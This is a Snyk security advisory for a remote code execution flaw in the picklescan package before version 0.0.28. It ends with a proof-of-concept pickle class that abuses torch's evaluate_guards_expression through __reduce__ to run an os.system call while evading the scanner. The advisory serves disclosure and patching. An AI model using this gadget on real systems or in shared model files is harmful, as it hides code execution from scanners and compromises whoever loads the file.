Remote Code Execution (RCE) Affecting picklescan package, versions [,0.0.28)
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Start learning- Snyk IDSNYK-PYTHON-PICKLESCAN-12177788
- published24 Aug 2025
- disclosed22 Aug 2025
- creditFredericDT
Introduced: 22 Aug 2025
CVE NOT AVAILABLE CWE-94 (opens in a new tab)How to fix?
Upgrade picklescan to version 0.0.28 or higher.
Overview
picklescan is a Security scanner detecting Python Pickle files performing suspicious actions
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to insufficient detection in the evaluate_guards_expression function. An attacker can execute arbitrary code by crafting a malicious pickle file that leverages this function during deserialization, which will not be detected as malicious and may therefore be trusted by a user to load unsafely with pickle.
PoC
import types
import torch.fx.experimental.symbolic_shapes as symbolic_shapes
class EvilTorchFxSymbolicShapesEvaluateGuardsExpression:
def __reduce__(self):
fake_self = str
code = "__import__('os').system('whoami')"
args = []
return symbolic_shapes.ShapeEnv.evaluate_guards_expression, (fake_self, code, args)